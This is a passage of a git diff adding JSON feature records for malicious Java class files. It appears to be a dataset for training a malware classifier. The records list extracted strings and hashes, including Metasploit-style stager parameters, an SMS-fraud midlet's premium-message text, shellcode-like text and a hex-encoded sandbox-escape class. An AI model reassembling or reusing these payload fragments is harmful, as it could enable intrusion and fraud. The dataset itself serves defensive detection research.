"israq", "", "fhshbmqrlufkdyuvughlnca", "uafrdpmipbfeayggwqifemj", "kbmlbwf", "vpzfduakrdoerlm", "ucwziprqklrglryoayhezlaiv", "a", "wgjkrzhetmod", "slfavhhsagczysibmnurpydngs", "wcmlhscoltwgzwocbuegnschukdzqz", "zhhcxxwst", "wqxstdfif", "dfh", "znoukfavbyapcplputl", "oretturer"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7c3c3cbdf75c0f741131ffe1ea429d2a7f6ee58d", "file_name": "java_malicious/8131969d85ef602fb92be28d6d36c41ff9d62d96e697300686783dcf3e01e0fc", "_id": "da090ffb-dc16-4942-b310-20debdc5d9f7", "score": 0, "entropy": 5.803770414078702, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3560, "ssdeep": "48:/LiV+bZOOJrri0aEy9StJTgT/RlZWa3uNyt+55BegzYqh6sgXyG8XI9V3Hv9fVT1:UOEOo92h6RmawyQnUPsgXkYFvDT60n1J", "sha256": "8131969d85ef602fb92be28d6d36c41ff9d62d96e697300686783dcf3e01e0fc", "md5": "c8da3fd200a23f96cdc7ee5ca999d3c6", "parent_sha256": "8131969d85ef602fb92be28d6d36c41ff9d62d96e697300686783dcf3e01e0fc"}} \ No newline at end of file diff --git a/java_classification/data/malicious/81acce791e519c20ef5bce704944e56b8e7985083ee9696562a934b4b8633762.results b/java_classification/data/malicious/81acce791e519c20ef5bce704944e56b8e7985083ee9696562a934b4b8633762.results new file mode 100755 index 0000000..43d83bb --- /dev/null +++ b/java_classification/data/malicious/81acce791e519c20ef5bce704944e56b8e7985083ee9696562a934b4b8633762.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "TTAvzAykSO/Omlljqs", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "93a98945-8b2d-4c1a-94a3-c632ace85208", "verbose": {"java": {"constant strings": ["TTAvzAykSO.Omlljqs", ".class", "/TTAvzAykSO.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "TTAvzAykSO.dat", "URL", "", "https:", "TTAvzAykSO/OmlljqsTrustManager.class", "OmlljqsTrustManager.class", "AESPassword", "TTAvzAykSO/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "TTAvzAykSO.OmlljqsTrustManager", "useFor", "java.net.URLConnection", "TTAvzAykSO.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Omlljqs -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e695469162e4d834bb16064ecb87adb4852e97cf", "file_name": "java_malicious/81acce791e519c20ef5bce704944e56b8e7985083ee9696562a934b4b8633762", "_id": "93a98945-8b2d-4c1a-94a3-c632ace85208", "score": 0, "entropy": 6.147341310910136, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMcDUBR+W6u0ThmA4xKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tsRT0tmZyNvpvUrKYvCkgHzbDrDF", "sha256": "81acce791e519c20ef5bce704944e56b8e7985083ee9696562a934b4b8633762", "md5": "d291ffc83fc69fe34cc87d601258e7b9", "parent_sha256": "81acce791e519c20ef5bce704944e56b8e7985083ee9696562a934b4b8633762"}} \ No newline at end of file diff --git a/java_classification/data/malicious/81b71268cf9aaa17afbd44c72847ccb27f039c1bac1d77d302461e5cd6c2fd32.results b/java_classification/data/malicious/81b71268cf9aaa17afbd44c72847ccb27f039c1bac1d77d302461e5cd6c2fd32.results new file mode 100755 index 0000000..543586a --- /dev/null +++ b/java_classification/data/malicious/81b71268cf9aaa17afbd44c72847ccb27f039c1bac1d77d302461e5cd6c2fd32.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Tt.java", "class_name": "wjrqfstrvkwwtlg/Tt", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "lqjsjbfdqb"], "minor_version": 0, "const_pool_count": 257}}, "_id": "31b46933-bcf7-44db-a91e-39076b61c94f", "verbose": {"java": {"constant strings": ["4e360e471e64007c", "q26G", "3a476b771613", "AKHw0", "62434a536c10774d6b695840704e1e626961", "DCpaH", "tTarg", "ge", "et", "1156713c162f7c70360863", "jpP18", "3f4b16606f105f3d7f724e561d5d186049", "Dj1sK", "35576b3d70384e516b613274524a1a4b66355067495f4c1e3e76645a47", "NaL2Vcj", "3c5061247e3366", "GgN6KaU", "08450831722554173f40774a211d02", "sw49G", "4f606a78050d617638674556", "4VEt", "2f536b415416605b416463", "TrDTtc", "0c5d4a375e656f497a34397e7d02", "3Yr71", "46445e556401614e6356646671", "tDdfb", "0145621416161b0f", "3EX86R1", "72535f335b165249394f406879170b6478630379", "DDt3n", "4b6750504f3e61104d574b5b605662", "0CrAfhc", "424740621c22584b3442464a36452f", "9pkm", "4e5219", "HE43X", "7d426848520a49754e69676e5e", "KUCHgX", "131275620830067279094e155b5b6b510f", "h4Tn9", "7a5c7558621272", "LVVI"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d9b89165f494c4aaf2a65b3222b61bf0c09d39da", "file_name": "java_malicious/81b71268cf9aaa17afbd44c72847ccb27f039c1bac1d77d302461e5cd6c2fd32", "_id": "31b46933-bcf7-44db-a91e-39076b61c94f", "score": 0, "entropy": 6.227843705893193, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5194, "ssdeep": "96:H8kAlHGfT2fPWHp/CfLhIs/inhJ83FuJxnflKG05hTwq:rAlmiPPdWL81uJwTwq", "sha256": "81b71268cf9aaa17afbd44c72847ccb27f039c1bac1d77d302461e5cd6c2fd32", "md5": "a0ed6f6a3908266cc92d92de45a3b57d", "parent_sha256": "81b71268cf9aaa17afbd44c72847ccb27f039c1bac1d77d302461e5cd6c2fd32"}} \ No newline at end of file diff --git a/java_classification/data/malicious/834351fa56aab2c0b3dcba8fa9170b217d661861d03740c2a500974f019ae7da.results b/java_classification/data/malicious/834351fa56aab2c0b3dcba8fa9170b217d661861d03740c2a500974f019ae7da.results new file mode 100755 index 0000000..98aba1d --- /dev/null +++ b/java_classification/data/malicious/834351fa56aab2c0b3dcba8fa9170b217d661861d03740c2a500974f019ae7da.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "lfuKAtpCT.java", "class_name": "wDQnYjaDF/sftAVZ", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "DCMKlUv", "uKQYXtJ"], "minor_version": 0, "const_pool_count": 52}}, "_id": "f051ee72-e6a7-441d-bfe8-24e6e59d3495", "verbose": {"java": {"constant strings": ["LmqhZ", "vRUsyEMNK", "BMiox", "EsHxG", "dULxh", "tMCfeer", "eZUfe", "YOvDRV", "YbdWpjDUF", "KZMGnBBT", "cBcVxjqHy", "xSRafuN"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "99710b4182bf8d39b21fd3edd3dd47549ff9aae6", "file_name": "java_malicious/834351fa56aab2c0b3dcba8fa9170b217d661861d03740c2a500974f019ae7da", "_id": "f051ee72-e6a7-441d-bfe8-24e6e59d3495", "score": 0, "entropy": 5.544224484759257, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1009, "ssdeep": "24:TGri2fyQul5tl+jt4/zvFurCGy8Hcs2vfksnZ3OtnEw0TrKr:Kri2fyFlD4t+zvIrdB8XvfnZ0k2r", "sha256": "834351fa56aab2c0b3dcba8fa9170b217d661861d03740c2a500974f019ae7da", "md5": "4e4838dbf935a81d85cc425d9b047839", "parent_sha256": "834351fa56aab2c0b3dcba8fa9170b217d661861d03740c2a500974f019ae7da"}} \ No newline at end of file diff --git a/java_classification/data/malicious/8508090001f4365c9cccabbdab14feca7e78d911b439714aa8f5a680d60fc4f8.results b/java_classification/data/malicious/8508090001f4365c9cccabbdab14feca7e78d911b439714aa8f5a680d60fc4f8.results new file mode 100755 index 0000000..027941d --- /dev/null +++ b/java_classification/data/malicious/8508090001f4365c9cccabbdab14feca7e78d911b439714aa8f5a680d60fc4f8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Simano.java", "class_name": "like/Simano", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "flora"], "minor_version": 0, "const_pool_count": 114}}, "_id": "fef3c37c-ab73-4b49-ab5f-6a1a77a55d50", "verbose": {"java": {"constant strings": ["oregjoergjpergijperjigpeirjpgierjpgijer"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "bd0b64afefaf27e628a6ec1357392f867ff1acbd", "file_name": "java_malicious/8508090001f4365c9cccabbdab14feca7e78d911b439714aa8f5a680d60fc4f8", "_id": "fef3c37c-ab73-4b49-ab5f-6a1a77a55d50", "score": 0, "entropy": 5.596757450540365, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2377, "ssdeep": "48:jAy8kAlHuceD508yA9ADMXICE+G1MY+2g/33NA2:t8kAly7ZYeu+H/NA2", "sha256": "8508090001f4365c9cccabbdab14feca7e78d911b439714aa8f5a680d60fc4f8", "md5": "1ec575e90def529ac1c72a05578d7927", "parent_sha256": "8508090001f4365c9cccabbdab14feca7e78d911b439714aa8f5a680d60fc4f8"}} \ No newline at end of file diff --git a/java_classification/data/malicious/8519bee62fe8a20e7bed7df45ea8518b4d8d6f182f2f6c6ae6167259177150d2.results b/java_classification/data/malicious/8519bee62fe8a20e7bed7df45ea8518b4d8d6f182f2f6c6ae6167259177150d2.results new file mode 100755 index 0000000..bd81795 --- /dev/null +++ b/java_classification/data/malicious/8519bee62fe8a20e7bed7df45ea8518b4d8d6f182f2f6c6ae6167259177150d2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "e9a74e51-7cc4-4f95-affd-cb022020ccdc", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IJ,0l,PZ,0N,pn,pn,pN,pN,py,yK,KU,PW,p5,P3,op,do,Qd,pe,Pu,Pw,pN,kQ,Pt,LN,kP,p5,Ll,mN,kC,XQ,0O,pQ,m4,LP,3p,tW,sL,Vh,kx,sn,ks,X6,hN,kx,wr,Js,4q,IJ,HN,oU,P7,pW,pM,2L,9r,Hp,oP,nw,pU,PQ,xr,Ub,Rb,L0,m2,tk,O2,6L,KM,8I,xQ,iG,pW,pe,Pn,kN,7Q,Wo,pU,og,p2,UK,JC,w0,WP,GM,P5,o5,PB,U9,jl,KZ,Os,og,Cx,Im,QX,lg,tF,ag,pu,PN,ki,LF,1b,rp,SU,84,DU,QW,pe,PK,Ov,6f,lQ,JQ,Iv,10,RN,kT,BR,sw,3O,pw,KW,pr,UX,zO,qS,K9,lt,np,er,X0,ed,5t,CK,3h,kU,XN,iw,so,7p,CW,tF,Ns,U0,xS,UK,vq,Se,XW,pQ,Kl,Jk,qV,dd,pK,8q,Ue,Pp,39,Pb,pR,ps,c6,7p,PI,ob,vV,pM,Sy,hw,pP,uv,fp,ju,Qr,s9,ov,67,tR,zS,iN,cO,2F,dQ,QM,Pw,Ju,Pp,uN,TI,o6,64,HF,1q,Fn,k3,E7,Ll,KS,DP,5R,Xd,CL,5a,Fl,K1,fu,ps,3L,5f,Sk,y1,Yb,aL,mw,sH,EP,3K,k4,OM,nF,pp,8K,BS,De,XK,qH,Kt,M7,sX,Zg,0x,kl,17,Ke,OB,UY,ws,nn,k1,Nv,DU,SY,Mu,6n,kd,L0,KN,kS,nu,LS,3y,Ml,KV,dl,KE,Sj,el,ka,N0,Yo,3K,Xw,pK,OK,OY,on,np,Nt,NJ,Ll,XK,NM,Zf,n3,NK,hK,R2,ST,sK,zn,jS,kp,66,zF,Or,PQ,qQ,tP,GS,rU,Pq,x2,TQ,dP,p6,Z6,O4,oQ,u4,8Q,dQ,uq,bp,nU,1R,Lt,nQ,ya,wR,Nr,Or,Rq,uP,lu,9r,ST,4V,Nq,sr,OR,Mv,O5,90,n3,VR,OT,oc,E3,CP,1T,nu,8Q,dR,MR,L6,OP,nT,pf,Ps,QT,qV,PT,vD,rv,P5,ap,3d,qt,xt,2V,PT,pd,p5,3P,Jp,0Q,uf,P4,pt,pD,vt,pT,qc,bf,SV,XQ,vq,ut,y4,se,3t,qs,g3,U5,3t,up,6u,i5,6V,Ru,gb,xq,ts,Qv,Yp,eV,T7,Gc,QB,D3,it,yU,ae,du,cQ,vp,dT,t6,Vq,Jt,pF,QV,PF,PU,6f,P6,Xv,Pw,p5,PA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "18cccd6a3f991645afb8b1c4e739fd250a44f05a", "file_name": "java_malicious/8519bee62fe8a20e7bed7df45ea8518b4d8d6f182f2f6c6ae6167259177150d2", "_id": "e9a74e51-7cc4-4f95-affd-cb022020ccdc", "score": 0, "entropy": 5.981944077522601, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3117, "ssdeep": "96:hFFluazCuAi2zFt6cMRxC92XQjt9bKsCn:1lu62z/6cMRxEkQpRKx", "sha256": "8519bee62fe8a20e7bed7df45ea8518b4d8d6f182f2f6c6ae6167259177150d2", "md5": "090e0edc0c38aae195a984d88669dd9f", "parent_sha256": "8519bee62fe8a20e7bed7df45ea8518b4d8d6f182f2f6c6ae6167259177150d2"}} \ No newline at end of file diff --git a/java_classification/data/malicious/8570bf0eee6e271b6394490ae0fdb83394558e16961ee82f8d5dbf0986ebed2f.results b/java_classification/data/malicious/8570bf0eee6e271b6394490ae0fdb83394558e16961ee82f8d5dbf0986ebed2f.results new file mode 100755 index 0000000..c4921c7 --- /dev/null +++ b/java_classification/data/malicious/8570bf0eee6e271b6394490ae0fdb83394558e16961ee82f8d5dbf0986ebed2f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "XML20130422.java", "class_name": "xml20130422/XML20130422", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "", "hex2Byte", "init"], "minor_version": 0, "const_pool_count": 223}}, "_id": "f4cf338e-91d0-4151-ab60-cbeb080c657d", "verbose": {"java": {"constant strings": ["CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001E07001F0700200100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010001650100154C6A6176612F6C616E672F457863657074696F6E3B010004746869730100034C423B01000D537461636B4D61705461626C6507001F07001B01000372756E01001428294C6A6176612F6C616E672F4F626A6563743B01000A536F7572636546696C65010006422E6A6176610C000800090700210C002200230100136A6176612F6C616E672F457863657074696F6E0700240C002500260100106A6176612F6C616E672F4F626A656374010001420100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F50726976696C6567656401003D284C6A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E3B294C6A6176612F6C616E672F4F626A6563743B0100106A6176612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284C6A6176612F6C616E672F53656375726974794D616E616765723B295600210006000500010007000000020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100040009000C00030003000B000000120004000000080004000B0009000C000D000D000C000000160002000D0000000D000E00010000000E000F001000000011000000100002FF000C00010700120001070013000001001400150001000A0000003A000200010000000C01B80004BB000559B70001B000000002000B0000000A00020000001000040011000C0000000C00010000000C000F0010000000010016000000020017", "XML", "LPiq6UFwwyWD1WAq", "", "sun.org.mozilla.javascript.internal.Context", "sun.org.mozilla.javascript.internal.GeneratedClassLoader", "findConstructor", "1", "findVirtual", "createClassLoader", "defineClass", "bn", "xiaomaolv", "si", "bs", "os.name", "Windows"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7bd720aad03b6a57ac0d3f83728b1166f6239ab6", "file_name": "java_malicious/8570bf0eee6e271b6394490ae0fdb83394558e16961ee82f8d5dbf0986ebed2f", "_id": "f4cf338e-91d0-4151-ab60-cbeb080c657d", "score": 0, "entropy": 5.899442110982573, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 6134, "ssdeep": "96:Q7+CWKsRhIZiNqzyIZYSjFAlcYJ3GdiojNoNzOZJSlZyNu7rFDsyT2fevsnHGHGW:HCZoIUDImQAlrB0iojNoNzYJSlZyNuFZ", "sha256": "8570bf0eee6e271b6394490ae0fdb83394558e16961ee82f8d5dbf0986ebed2f", "md5": "dd656f2d3fc6996468b7ac5451fc35ed", "parent_sha256": "8570bf0eee6e271b6394490ae0fdb83394558e16961ee82f8d5dbf0986ebed2f"}} \ No newline at end of file diff --git a/java_classification/data/malicious/8623f31db131dcb5eaed1d80f50b161e1b7620aefd7051c5da935ada8e15ebca.results b/java_classification/data/malicious/8623f31db131dcb5eaed1d80f50b161e1b7620aefd7051c5da935ada8e15ebca.results new file mode 100755 index 0000000..e4dfb25 --- /dev/null +++ b/java_classification/data/malicious/8623f31db131dcb5eaed1d80f50b161e1b7620aefd7051c5da935ada8e15ebca.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "MidletIBO", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 47, "method_names": ["", "doExit", "startApp", "pauseApp", "destroyApp", "a", "a", "a", "exit", "sendSms", "a", "b", "a", "c", "d", "b", "c", "a", "a"], "minor_version": 0, "const_pool_count": 298}}, "_id": "b1f51f66-bbe1-4369-8676-540e34884b81", "verbose": {"java": {"constant strings": ["", " ", " __", "-- :", "-- : ", "/data/", "16273645", "ANKHXNUD", "App", "B\\xe1\\xba\\xa1n \\xc4\\x91\\xc3\\xa3 \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd nh\\xe1\\xba\\xadn Link Hay th\\xc3\\xa0nh c\\xc3\\xb4ng! Link hay \\xc4\\x91\\xc3\\xa3 \\xc4\\x91\\xc6\\xb0\\xe1\\xbb\\xa3c g\\xe1\\xbb\\xadi \\xc4\\x91\\xe1\\xba\\xbfn \\xc4\\x91i\\xe1\\xbb\\x87n tho\\xe1\\xba\\xa1i c\\xe1\\xbb\\xa7a b\\xe1\\xba\\xa1n!", "COUND SEND SMS : ", "Info", "ClipVui", "RMS : ", "UTF-8", "SV5 JAVA", "id", "nangabc", "ok", "showAlert", "sms://", "text", "totalsms", "\\xc4\\x90\\xc4\\x83ng k\\xc3\\xbd nh\\xe1\\xba\\xadn Link hay \\xc4\\x91\\xe1\\xba\\xbfn v\\xe1\\xbb\\x9bi kho d\\xe1\\xbb\\xaf li\\xe1\\xbb\\x87u T\\xe1\\xba\\xa3i mi\\xe1\\xbb\\x85n ph\\xc3\\xad Video Clip,... Link hay s\\xe1\\xba\\xbd \\xc4\\x91\\xc6\\xb0\\xe1\\xbb\\xa3c g\\xe1\\xbb\\xadi \\xc4\\x91\\xe1\\xba\\xbfn \\xc4\\x91i\\xe1\\xbb\\x87n tho\\xe1\\xba\\xa1i c\\xe1\\xbb\\xa7a b\\xe1\\xba\\xa1n sau khi \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd. Ph\\xc3\\xad \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd: 15.000 \\xc4\\x91\\xe1\\xbb\\x93ng/SMS/Link.", "\\xc4\\x90\\xc4\\x83ng k\\xc3\\xbd xem Clip G\\xc3\\xa1i Xinh tuy\\xe1\\xbb\\x83n ch\\xe1\\xbb\\x8dn. Ph\\xc3\\xad \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd: 15.000 VN\\xc4\\x90/SMS/l\\xe1\\xba\\xa7n."]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d98f5aa0e58106b71b9b2204ca41fb7194525db6", "file_name": "java_malicious/8623f31db131dcb5eaed1d80f50b161e1b7620aefd7051c5da935ada8e15ebca", "_id": "b1f51f66-bbe1-4369-8676-540e34884b81", "score": 0, "entropy": 5.924833571376589, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 6187, "ssdeep": "96:JEUqZBCtk2J+BKN83ZNmvnOZU/KwDwvKJa8KDSnp0dl6wrpFM9NAqyLDk8h:kqtk7cqNmvOZU/KwsS9KDSnp2TrU65", "sha256": "8623f31db131dcb5eaed1d80f50b161e1b7620aefd7051c5da935ada8e15ebca", "md5": "97c92186778fd8c977023758e309c68c", "parent_sha256": "8623f31db131dcb5eaed1d80f50b161e1b7620aefd7051c5da935ada8e15ebca"}} \ No newline at end of file diff --git a/java_classification/data/malicious/86d2cfe8e214221117c2d6a57a0b07315d353f6f504e8dff50cdca8bdb1a8a5f.results b/java_classification/data/malicious/86d2cfe8e214221117c2d6a57a0b07315d353f6f504e8dff50cdca8bdb1a8a5f.results new file mode 100755 index 0000000..763d834 --- /dev/null +++ b/java_classification/data/malicious/86d2cfe8e214221117c2d6a57a0b07315d353f6f504e8dff50cdca8bdb1a8a5f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DMmoZhvhY.java", "class_name": "DMmoZhvhY", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "DUIJYNp"], "minor_version": 0, "const_pool_count": 72}}, "_id": "14a94de9-7ae6-4f9b-8578-d4adf9cd4381", "verbose": {"java": {"constant strings": ["$\\x1e", "kkk\\x18exe", "i", " = &01 ", ""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b06db429b8871ce65256b3238d1225c4171cea6e", "file_name": "java_malicious/86d2cfe8e214221117c2d6a57a0b07315d353f6f504e8dff50cdca8bdb1a8a5f", "_id": "14a94de9-7ae6-4f9b-8578-d4adf9cd4381", "score": 0, "entropy": 2.6734383602904748, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 16630, "ssdeep": "96:q3l0LlttnrJSH7FcjfBbcSLdEojz4ZHxPEvBRKMEVOdZWg:qVetsHGDBgedAZHxPqRKmWg", "sha256": "86d2cfe8e214221117c2d6a57a0b07315d353f6f504e8dff50cdca8bdb1a8a5f", "md5": "cb72184f893c12e93b6ab4f5acad92cc", "parent_sha256": "86d2cfe8e214221117c2d6a57a0b07315d353f6f504e8dff50cdca8bdb1a8a5f"}} \ No newline at end of file diff --git a/java_classification/data/malicious/872b9daae6790e397a2bfd125c021857f0e7eef3b122b93c368cd4a1d06cf6b1.results b/java_classification/data/malicious/872b9daae6790e397a2bfd125c021857f0e7eef3b122b93c368cd4a1d06cf6b1.results new file mode 100755 index 0000000..4b2224d --- /dev/null +++ b/java_classification/data/malicious/872b9daae6790e397a2bfd125c021857f0e7eef3b122b93c368cd4a1d06cf6b1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "fbeatbee.java", "class_name": "fbeatbea/fbeatbee", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "", "fbeatbea", "fbeatbeb", "fbeatbec", "fbeatbea", "fbeatbea", "fbeatbea", "fbeatbea", "fbeatbeb", "fbeatbea", "fbeatbea"], "minor_version": 0, "const_pool_count": 162}}, "_id": "51ebde40-1d0e-4502-967d-0ab3fdc95408", "verbose": {"java": {"constant strings": ["", "\\x15)1\\'`\\t-55\\'\\x10&", "7\\xc0\\x80!\\x0b\\n=\\r6<#7e>3m\\x1a)3\\x08\\t\\x05\\'(\\x16\\x17\\x19;2\\x05?&\\r\\x12\\r:\\x0f?23\\x1a\\x1d?\\x01+q\\n#\\x16`\\'\\x11\"\\x12$/:,\\x02\\x04)\\x14k\\x06\\'7>)\\xc0\\x80(\\x14%\\r\\xc0\\x80?\\x04T!>/\\x06\\\\\\x08\\x0f\\x0c;\\x0f\\x10(5\\xc0\\x80\\x0c\\n\\x1e(\"\\x18?\\r#\\'\\\\w\\xc0\\x80\\x15\\x0779\\x03\\x0bh1\\x10\\x16\\'\\x07(-\\xc0\\x80\\x03m\\x0f1m\\r\\x01^\\x0c\\x12l*\\x15&\\x16,\\x1e\\x0e!-5#6\\x19\\x1d)\"%k3\\x05 ,&m\\x0c!\\x1cb\\x1el6\\x07%\\x0f\\x0b#\\x12\\x1f*kc\\x0c\\x05\\x13\"\\n4\\x1f.#7\\x18 \\x1fmq\\x0b=j\\n\\r8\\x1b#4c1\\r\\x04, \\x05;d\\x04\\x03/\\x1a-37\\t\\x07\\t0d*\\x18-\\x0fd(<*4\\x1d\\n!,.\\x0122=l/( \\xc0\\x80%\\x16\\x1abl\\x02\\x1f@\\t\\x12$&+\\x0b\\x1e4d\\x10\\x12%#=(>m\\r\\xc0\\x80\\x10\\'\\xc0\\x80e +?\\x10<\\x1c\\r\\x11\\r1\\x1d\\x0e!\\x0c/\\x02\\rb-y\\x0f=\\x1a 6\\x14\\ne 6\\x18Y\\x02j\\x12h\\x18/\\x0462mk9\\x16/x4\\'\\x14!\\x0b\\xc0\\x80o\\x10i5e\\x05^\\x0c+*\\x1a\\x1c>\\x0fm +b\\x1e\\xc0\\x80:Un\\x1e\\n\\x08%\\xc0\\x80j\\t\\x1e\\x0b8$m\\x01U\\x0f)1d\\x08\\xc0\\x80#\\x0fh&\\x10#\\x01\\x0e5+.\\x01\\x07\\x15i?\\x06\\x19>i\\t\\x1c\\xc0\\x80=n#\\x1fe\\\\\\'\\t\\x05\\t\\x1c=\\x04\\n\\x07&:\\x13/+-\\x1cd1\\x03\\x1c\\x1c.\\x146Yn\\x05-m-,l$\\'6#0-\\x17\\x0c+\\x07\\x02\\xc0\\x80>\\x10\\xc0\\x80\\x16\\nY$\\x0b\\r\\x16\\x0b\\x01\"\\x17=\\x0f\\x0f?2\\x0c\\x07\\x01\\xc0\\x80\\n$3\\x1fl\\x16\\x07\\x0cb\\x11\\x13\\x04\\x12w\\x022q\\x1e%\" e5\\x10\\x15\\x02\\x1c*\\x10\\x06\\x1fm\\x1a\\x12\\x06\\x08m\\x06\\'.-\\x05\\x15b\\x13\\x14-Uw/,\"\\x0c\\x0f\\x12\\x16 &\\n$6;0\\t\\x12\\x0b\\x02\\r\"1/)\\x1d0$#\\r\\x13?\\n`>\\x08w\\x17\\xc0\\x80?\\'/jl\\t\\x0c\" \\x10\\n\\x10\\'\\x07)o?\\x1c)\\x17/*\\x03\\n\\x1f?\\'\\x05\\t\\x0b\\x14(0\\x1f.\\x19\\x1c\\x1c\\x0f\\n4(\"?\\x02\\x0e8*%.m\\x0e\\x186\\rc3;/-:%b-\\x12)U;-\"<\\x181=\\x03/1\\x08+\\x15\\x17\\x152\\x1d\\xc0\\x80\\x0f\\x1b-\\x01+\\r(n+->:\\x1dj\\x0e>.8m/\\x04\\x13\\x12\\x10\\x06\\x01\\x10;\\x0b(>R\\'\\x17\\x05\\x01/)\\x1d\\'<\\x1de\\x1d-\\x07;\\x1e\\x10l\\x07\\x12932%;\\x19$2/2*15\\x17@e+\\x0ehR-\\x03\\x10\\rR:>\\x0c\\x14\\x06\\x07\\x10+<@\\x0e,\\x03\\x01\\x17id\\t\\x03\\x12<\\x01\\r/\\x06i?e\\x01\\x18\"\\x02\\x0f+\\x19>\\x15\\x10%Y>d%<\\x07k\"\\x07\\x07-&\\x1004-\\xc0\\x80\\x0c089n\\x1f\\x0c\\x1b\\x13\\x05$\\x11\\n6\\x0b#1\\x1e8\\x1f#m?9n\\x08>\\t)\\x05%-\\x1d\\\\\\x18+7o1\\x1b\\x14g &c\\x17\\x11\\x19\\x1d,6\"4\\t\\x1e4\\n(4 /\\to4*l\\x05/<\\x18$\\x0f/8:+\"\\x06\\x0b\\x0c#*m\\x15n\\x17?#\\x0f<32o\\x11bm\\x0b\\'\\'-\\x12<\\x04\\x06i7-m.=!%\\x188, \\xc0\\x80!=\\x1d\\x1e\\x06\"%2#!7\\x1c2(\\x07\\x1f\\x0b\\x19\\x1d,\\x1c\\x06!\\x13\\x13\\n1\\x18\\x13\\x066T9\\x13\\x03\\xc0\\x80\\x17,\\x02-\\tR\\x1b/\\x10\\r9bd\\'*0\"=\\x1e\\x0f\\x13\\x1d)\\x13\\x17\\x18\\t\\x0be<\\x15.\\x134*:c?\\x10 <\\x12fgo)9\\x16\\x08,>i&\\x17*\\x1eef\\x14c,c\\x01\\x0b\\x0b2\\x054`\\x1fR9\\x07e\\x1a\\x17,f\\x02\\x02\\x172\\x15e\\x0b=\\x11+.\\x1c?\\x1c1+4\\x08\\x0e\\x0c-;\\'.2\\x13$\\x17!l.\\n\\x1a$\\x16\\x0b\\x1e\\x16\\r\\x1d\\x14$71#\\x05\\x06\\x18!/*#;96!<=\\x02\\x05\\x08$5\\x07&g\\x0e\\x1b\\x1c\\x11\\x10", "\\x19!+#tPgh", "\\x19\\'5\\x08/\\x12-", "4", "Oy"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "79a3fdf09447c2656669a9e31fd6f76312cb82a7", "file_name": "java_malicious/872b9daae6790e397a2bfd125c021857f0e7eef3b122b93c368cd4a1d06cf6b1", "_id": "51ebde40-1d0e-4502-967d-0ab3fdc95408", "score": 0, 